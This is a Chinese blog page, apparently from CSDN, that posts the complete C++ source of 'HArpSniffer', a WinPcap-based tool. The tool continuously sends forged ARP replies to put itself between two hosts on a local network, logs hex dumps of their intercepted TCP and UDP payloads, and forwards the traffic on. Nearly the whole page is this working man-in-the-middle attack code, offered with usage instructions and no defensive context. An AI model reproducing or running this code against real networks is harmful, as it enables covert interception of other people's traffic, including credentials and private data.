HArpsniffer.cpp

本文介绍了一个名为HArpSniffer的程序,该程序利用WinPcap库实现了基于ARP欺骗的中间人攻击,能够捕获并重定向指定IP间的网络流量。文中详细展示了如何通过构造虚假ARP响应来欺骗目标主机,并解析截获的数据包。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


#include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "Packet32.h"
#include "YouHua.h"

#pragma comment(lib, "packet.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"iphlpapi.lib")

 
#define MAX_PACK_LEN 65535        //接收的最大IP报文
#define MAX_ADDR_LEN 16            //点分十进制地址的最大长度
#define MAX_PROTO_TEXT_LEN 16    //子协议名称(如"TCP")最大长度
#define MAX_PROTO_NUM 12        //子协议数量
 
 
#define TCP_ID 1                //定义TCP标志
#define UDP_ID 2                //定义UDP标志
 
 

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

//以太网物理帧头部
typedef struct _et_header   
{
    unsigned char   eh_dst[6]; 
    unsigned char   eh_src[6];
    unsigned short  eh_type;
}ET_HEADER;

//ARP帧头部
typedef struct _arp_header  
{
    unsigned short  arp_hdr;
    unsigned short  arp_pro;
    unsigned char   arp_hln;
    unsigned char   arp_pln;
    unsigned short  arp_opt;
    unsigned char   arp_sha[6];
    unsigned long   arp_spa;
    unsigned char   arp_tha[6];
    unsigned long   arp_tpa;
}ARP_HEADER;

// 网卡信息
typedef struct tagAdapterInfo         
{
    char    szDeviceName[128];           // 名字
    char    szIPAddrStr[16];             // IP
    char    szHWAddrStr[18];             // MAC
    DWORD    dwIndex;                    // 编号         
}INFO_ADAPTER, *PINFO_ADAPTER;
//
INFO_ADAPTER infoAdapterList[10];

#pragma pack(pop)

//将被传递到监听线程的信息结构
typedef struct info    
{
    LPADAPTER    lpAdapter;
    char        szToIP[20];
    char        szToMac[6];
    char        szFromIP[20];
    char        szFromMac[6];
    char        szLocalIP[20];
    char        szLocalMac[6];
}INFO, *LPINFO;

//IP报头部
typedef struct _ip_header
{
    unsigned char h_verlen; //4位IP版本号+4位首部长度
    unsigned char tos; //8位服务类型TOS
    unsigned short total_len; //16位总长度(字节)
    unsigned short ident; //16位标识
    unsigned short frag_and_flags; //3位标志位+13位分段偏移量
    unsigned char ttl; //8位生存时间 TTL
    unsigned char proto; //8位协议 (TCP, UDP 或其他)
    unsigned short checksum; //16位IP首部校验和
    unsigned int sourceIP; //32位源IP地址
    unsigned int destIP; //32位目的IP地址
}IP_HEADER;

typedef struct _tcphdr //定义TCP首部
{
    USHORT th_sport; //16位源端口
    USHORT th_dport; //16位目的端口
    unsigned int th_seq; //32位序列号
    unsigned int th_ack; //32位确认号
    unsigned char th_lenres; //4位首部长度+4位保留字
    unsigned char th_flag; //余下2位保留字+6位标志位
    USHORT th_win; //16位窗口大小
    USHORT th_sum; //16位校验和
    USHORT th_urp; //16位紧急数据偏移量
}TCP_HEADER;

typedef struct _udphdr //定义UDP首部
{
    unsigned short uh_sport; //16位源端口
    unsigned short uh_dport; //16位目的端口
    unsigned short uh_len; //16位长度
    unsigned short uh_sum; //16位校验和
} UDP_HEADER;

typedef struct _icmphdr //定义ICMP首部
{
    BYTE i_type; //8位类型
    BYTE i_code; //8位代码
    USHORT i_cksum; //16位校验和
    USHORT i_id; //识别号(一般用进程号作为识别号)
    USHORT i_seq; //报文序列号
    ULONG timestamp; //时间戳
}ICMP_HEADER;



FILE *fp=fopen("HArpSniffer.log","a+");
int _Sport;
int _Dport;

typedef struct _protomap //定义子协议映射表
{
    int ProtoNum;
    char ProtoText[MAX_PROTO_TEXT_LEN];
}PROTOMAP;

PROTOMAP ProtoMap[MAX_PROTO_NUM]={ //为子协议映射表赋值
{ IPPROTO_IP, "IP " },
{ IPPROTO_ICMP, "ICMP" },
{ IPPROTO_IGMP, "IGMP" },
{ IPPROTO_GGP, "GGP " },
{ IPPROTO_TCP, "TCP " },
{ IPPROTO_PUP, "PUP " },
{ IPPROTO_UDP, "UDP " },
{ IPPROTO_IDP, "IDP " },
{ IPPROTO_ND, "NP " },
{ IPPROTO_RAW, "RAW " },
{ IPPROTO_MAX, "MAX " },
{ NULL, "" } };

void usage()
{
    printf("Name : X14oH4o/r/n");
    printf("QQ  : 82602935/r/n");
    printf("Usage: HARPSniffer FromIP ToIP /r/n/r/n");
    printf("Example : HArpSniffer 192.168.0.5 192.168.0.1");
}

//协议识别
char * CheckProtocol(int iProtocol)
{
    for(int i=0; i<MAX_PROTO_NUM; i++)
    if(ProtoMap[i].ProtoNum==iProtocol)
    return ProtoMap[i].ProtoText;
    return "";
}

//打印日志
void trace(FILE *fp,int id,char *buff,int len)    
{                                                                       
    unsigned char *abuf,*hbuf;
    int i,g,k;
    if(len>0)
    {
        fprintf(fp,"==================================data begin===================================/r/n");
        switch(id)
        {
        case TCP_ID:
            hbuf=(unsigned char *)buff;
            abuf=(unsigned char *)buff;
            fprintf(fp,"Displacement -1--2--3--4--5--6--7--8-Hex-0--1--2--3--4--5--6   --ASCII  Value--/n");
            for(i=0, g=len/16; i < g; i++)
            {
                fprintf(fp, "M(%6.6d) =< ",i*16);
                for(k=0; k<16; k++) fprintf(fp, "%02x ",*hbuf++);
                  fprintf(fp,"> ");
                  for(k=0; k<16; k++, abuf++)
                    fprintf(fp, "%c",(*abuf>32) ? ((*abuf<127 || *abuf>160) ? *abuf : '*') : '.');
                  fprintf(fp,"/r/n");
            }
            if((i=len%16) > 0)
            {
                fprintf(fp,"M(%6.6d) =< ",len-len%16);
                for(k=0; k < i; k++) fprintf(fp, "%02x ",*hbuf++);
                for(k=i; k < 16; k++) fprintf(fp, "   ");
                fprintf(fp, "> ");
                  for(k=0; k < i; k++, abuf++)
                    fprintf(fp, "%c",(*abuf>32) ? ((*abuf<127 || *abuf>160) ? *abuf : '*') : '.');
                fprintf(fp, "/r/n");
            }
            break;
        case UDP_ID:
            for( i=0;i<len;i++)
            {
                if (!(i%8)&&i!=0)
                    fprintf(fp,"/r/n");
                if ( (buff[i]>33) && (buff[i]<122) )
                    fprintf(fp,"%3c [%3x]", buff[i], buff[i]);
                else
                    fprintf(fp,"--- [%3x]", abs(buff[i]));
            }
            if(i%8)
                fprintf(fp,"/r/n");
            break;
        default:
            break;
        }
        fprintf(fp,"========================================end=====================================/r/n/r/n");
        fflush(fp);
    }
}
//UDP解包
int DecodeUdpPack(char * UdpBuf,int iBufSize)
{
    UDP_HEADER * pUdpHeader;
    pUdpHeader = (UDP_HEADER * )UdpBuf;
    _Sport=ntohs(pUdpHeader->uh_sport);
    _Dport=ntohs(pUdpHeader->uh_dport);
   
   
    char * UdpData=UdpBuf+8;
    trace(fp,UDP_ID,UdpData,iBufSize-8);
    return 1;
   
}

//TCP解包
int DecodeTcpPack(char * TcpBuf,int iBufSize)
{
    TCP_HEADER * pTcpHeader;
    pTcpHeader = (TCP_HEADER * )TcpBuf;
   
    _Sport=ntohs(pTcpHeader->th_sport);
    _Dport=ntohs(pTcpHeader->th_dport);
   
    int TcpHeaderLen = sizeof(unsigned long) * (pTcpHeader->th_lenres>>4);
    char *TcpData=TcpBuf+TcpHeaderLen;
    trace(fp,TCP_ID,TcpData,iBufSize-TcpHeaderLen);
   
    return 1;
}


int DecodeIpPack(char *buf, int iBufSize)
{
    IP_HEADER *pIpheader;
    pIpheader = (IP_HEADER *)buf;
   
    int iProtocol;
    iProtocol = pIpheader->proto;
   
    char szProtocol[MAX_PROTO_TEXT_LEN];
    strncpy(szProtocol,CheckProtocol(iProtocol),MAX_PROTO_TEXT_LEN);
   
    char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
    SOCKADDR_IN saSource,saDest;
    saSource.sin_addr.s_addr = pIpheader->sourceIP;
    strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);
   
    saDest.sin_addr.s_addr = pIpheader->destIP;
    strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);
   
    int iIphLen = sizeof(unsigned long) * (pIpheader->h_verlen &0xf);
   
    switch(iProtocol)
    {
    case IPPROTO_TCP :
        fprintf(fp,"%s%25s:%d%20s:%d/r/n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
        DecodeTcpPack(buf+iIphLen,iBufSize-iIphLen);
        break;
    case IPPROTO_UDP :
        fprintf(fp,"%s%25s:%d%20s:%d/r/n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
        DecodeUdpPack(buf+iIphLen,iBufSize-iIphLen);
        break;
    case IPPROTO_ICMP:
        _Sport='/0';
        _Dport='/0';
    default :
        break;
    }
   
    printf("%s%25s:%d%20s:%d/n",szProtocol,szSourceIP,_Sport,szDestIP,_Dport);
   
    return 1;
}

int GetLocalAdapterList()
{
    char                tempChar;
    ULONG                uListSize=1;
    PIP_ADAPTER_INFO    pAdapter;           // 定义PIP_ADAPTER_INFO结构存储网卡信息
    int                    nAdapterIndex = 0;
   
    //获得网卡列表信息串长度
    DWORD    dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
    printf("/r/nTry to get adapter list.../r/n");
    if (dwRet == ERROR_BUFFER_OVERFLOW)
    {
        PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]);
        dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
        if (dwRet == ERROR_SUCCESS)
        {
            pAdapter = pAdapterListBuffer;
            // 枚举网卡然后将相关条目添加到List中
            while (pAdapter)     
            {
                // 网卡名字
                char strTemp[128];
                strcpy(strTemp, "//Device//NPF_");                    
                strcat(strTemp, pAdapter->AdapterName);                        // 加上前缀             
                strcpy(infoAdapterList[nAdapterIndex].szDeviceName,strTemp);
                // IP
                strcpy(infoAdapterList[nAdapterIndex].szIPAddrStr,pAdapter->IpAddressList.IpAddress.String );
                // MAC
                memcpy( infoAdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address, 6);
                // 网卡编号
                infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;         
                pAdapter = pAdapter->Next;
                nAdapterIndex ++;
            }
            delete pAdapterListBuffer;
        }
        return nAdapterIndex;
    }
    return 0;
}

 

bool GetRemoteMac(unsigned char *remoteMac,char *remoteIP)            //获取远程主机MAC地址
{
    ULONG remoteAddr=0,macAddrLen=6;
    unsigned char remoteMacTemp[6]={0};

    remoteAddr=inet_addr(remoteIP);
    if(SendARP(remoteAddr, (unsigned long)NULL,(PULONG)&remoteMacTemp, &macAddrLen)!=NO_ERROR)
    {
        printf("Get remote MAC failed!/n");
        return FALSE;
    }
    memcpy(remoteMac,remoteMacTemp,6);
   
    /*
    printf("Remote IP: %16s    MAC: ", remoteIP);
    for(int i=0; i<6; i++ )
    {
        printf( "%.2x", remoteMac[i] );
        if(i!=5) printf("-");
    }
    printf("/r/n");
    */
    return TRUE;
}


//分析接收到数据包
void DecodeARP(LPADAPTER lpAdapter, LPPACKET lpPacket, ET_HEADER *lpEthdr, int nDataLen, LPINFO pInfo)      
{
 

    IP_HEADER *lpIphdr = (IP_HEADER *)((unsigned char *)lpEthdr + sizeof(ET_HEADER));

    //过滤报文
    if(memcmp(lpEthdr->eh_dst, pInfo->szLocalMac, 6) != 0)    return;

    if((inet_addr(pInfo->szLocalIP) != lpIphdr->destIP) && memcmp((unsigned char *)lpEthdr + 6, pInfo->szFromMac, 6) == 0)
    {   
        //解包
        DecodeIpPack((char *)lpIphdr, ntohs(lpIphdr->total_len));

        //将嗅探到的包发送到真正的目的地
        memcpy((unsigned char *)lpEthdr, pInfo->szToMac, 6);
        memcpy((unsigned char *)lpEthdr+6, pInfo->szLocalMac, 6);
       
        PacketInitPacket(lpPacket, lpEthdr, nDataLen);

        PacketSetNumWrites(lpAdapter, 2);
        PacketSendPacket(lpAdapter, lpPacket, TRUE);
    }
}

//监听线程
DWORD WINAPI Listen(void *param)  
{
    LPADAPTER    lpAdapter;
    LPPACKET    lpPacket;
    char        buf[256000]={0};
   
    bpf_hdr        *lpBpfhdr;
    ET_HEADER    *lpEthdr;
    LPPACKET    lpSendPacket = PacketAllocatePacket();
    LPINFO        pInfo = (INFO *)param;
   
    lpAdapter    = pInfo->lpAdapter;
    lpPacket    = PacketAllocatePacket();    //给PACKET结构指针分配内存
   
    if(lpPacket == NULL)
        printf("Error: failed to allocate the LPPACKET structure cheat./r/n");
    if(!PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED))
        printf("Warning: unable to set directed mode!/r/n");   //设置网卡为直接模式
    if(!PacketSetBuff(lpAdapter,512000))     //设置网卡接收数据包的缓冲区大小
        printf("Unable to set the kernel buffer!/r/n");
    if(!PacketSetReadTimeout(lpAdapter,50))   //设置接收超时
        printf("Warning: unable to set the read tiemout!/r/n");


    PacketInitPacket(lpPacket, buf, 6000);    //初始化PACKET结构指针
    printf("Listening.../r/n");
    printf("%-20s%-20s%-20s/n","协议类型","起始IP与端口","目标IP与端口");
    while(TRUE)
    {
        //接收数据包
        if(!PacketReceivePacket(lpAdapter, lpPacket, FALSE))
        {
            printf("Error: PacketReceivePacket failed/n");
            break;
        }
        lpBpfhdr = (bpf_hdr *)(lpPacket->Buffer);

        lpEthdr = (ET_HEADER *)((unsigned char *)(lpPacket->Buffer) + lpBpfhdr->bh_hdrlen);
       
        //判断IP报文类型
        if(lpEthdr->eh_type == htons(0x0800))
        {
            DecodeARP(lpAdapter, lpSendPacket, lpEthdr, lpBpfhdr->bh_datalen, pInfo);  //分析数据包
        }
    }

    PacketFreePacket(lpPacket);
    PacketFreePacket(lpSendPacket);

    return 1;
}

int main(int argc, char* argv[])
{

    system("color 3");
    LPADAPTER        lpAdapter;
    LPPACKET        lpPacket;
    ET_HEADER        et_header;
    ARP_HEADER        arp_header;
    char            buffer[512]={0};
    INFO            param={0};
    int                index = 0;
    int                adaptercount = 0;
    WSADATA            wsaData;
    char            commands[32];
   
 
    if(argc != 3)
    {
        usage();
        return -1;
    }

    unsigned char FromMac[6] = {0};
    unsigned char ToMac[6] = {0};
    unsigned char LocalMac[6]   = {0};

    if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
    {
        printf("WSAStartup error!/n");
        return  -1;
    }

    //获取目标真实MAC地址
    if(GetRemoteMac(FromMac, argv[1]) == FALSE || GetRemoteMac(ToMac, argv[2]) == FALSE)
    {
        return -1;
    }
   
    sprintf(commands, "arp -s %s %02x-%02x-%02x-%02x-%02x-%02x", /
        argv[1], FromMac[0], FromMac[1], FromMac[2], FromMac[3], FromMac[4], FromMac[5]);
    system(commands);

    sprintf(commands, "arp -s %s %02x-%02x-%02x-%02x-%02x-%02x", /
        argv[2], ToMac[0], ToMac[1], ToMac[2], ToMac[3], ToMac[4], ToMac[5]);
    system(commands);
   
    //获得适配器列表
    adaptercount = GetLocalAdapterList();
   
    for(int i = 0; i< adaptercount; i++)
        printf("%d: %s: %s/n/n",i,infoAdapterList[i].szIPAddrStr,infoAdapterList[i].szDeviceName);
   
    printf("Select a working adapter by number:");

    while(TRUE)
    {
        scanf("%d",&index);
        if(index >= 0 && index < adaptercount) break;
    }

    memcpy(LocalMac, infoAdapterList[index].szHWAddrStr, 6);

    //打开适配器
    lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)infoAdapterList[index].szDeviceName);


    if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
    {
        printf("Unable to open the driver, Error Code : %lx/n", GetLastError());
        return -1;
    }

    //伪造ARP应答包
    memcpy(et_header.eh_src, LocalMac, 6);
    memcpy(et_header.eh_dst, FromMac,  6);

    et_header.eh_type=htons(0x0806);  //类型为0x0806表示这是ARP包

    arp_header.arp_hdr=htons(0x0001);  //硬件地址类型以太网地址
    arp_header.arp_pro=htons(0x0800);  //协议地址类型为IP协议
    arp_header.arp_hln=0x06;           //硬件地址长度为6
    arp_header.arp_pln=0x04;           //协议地址长度为4
    arp_header.arp_opt=htons(0x0002);  //标识为ARP应答

    arp_header.arp_spa=inet_addr(argv[2]);  //source_ip
    memcpy(arp_header.arp_sha,et_header.eh_src,6);
    arp_header.arp_tpa=inet_addr(argv[1]);  //target_ip
    memcpy(arp_header.arp_tha,et_header.eh_dst,6);

    memcpy(buffer,&et_header,sizeof(ET_HEADER));
    memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

    //创建监听线程
   
    param.lpAdapter = lpAdapter;
    memcpy(param.szFromIP,argv[1],strlen(argv[1]));
    memcpy(param.szFromMac, FromMac, 6);
    memcpy(param.szToIP,argv[2],strlen(argv[2]));
    memcpy(param.szToMac, ToMac, 6);
    memcpy(param.szLocalIP, infoAdapterList[index].szIPAddrStr,strlen(infoAdapterList[index].szIPAddrStr));
    memcpy(param.szLocalMac, infoAdapterList[index].szHWAddrStr, 6);   

    CreateThread(NULL,0,Listen,&param,0,NULL);
   
    //给PACKET结构指针分配内存
    lpPacket=PacketAllocatePacket();    

    //初始化PACKET结构指针
    PacketInitPacket(lpPacket,buffer,64);  
           
    //设置发送次数
    if(PacketSetNumWrites(lpAdapter, 2) == FALSE)  
    {
        printf("warning: Unable to send more than one packet in a single write!/n");
    }

    //不断发送伪造的ARP应答包欺骗目标主机
    while(TRUE)
    {

        if(PacketSendPacket(lpAdapter,lpPacket,TRUE) == FALSE)
        {
            printf("Error sending the packets!/n");
            break;
        }

        Sleep(100);
    }

    PacketFreePacket(lpPacket);   //释放PACKET结构指针

    PacketCloseAdapter(lpAdapter);  //关闭适配器

    WSACleanup();

    return 0;
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值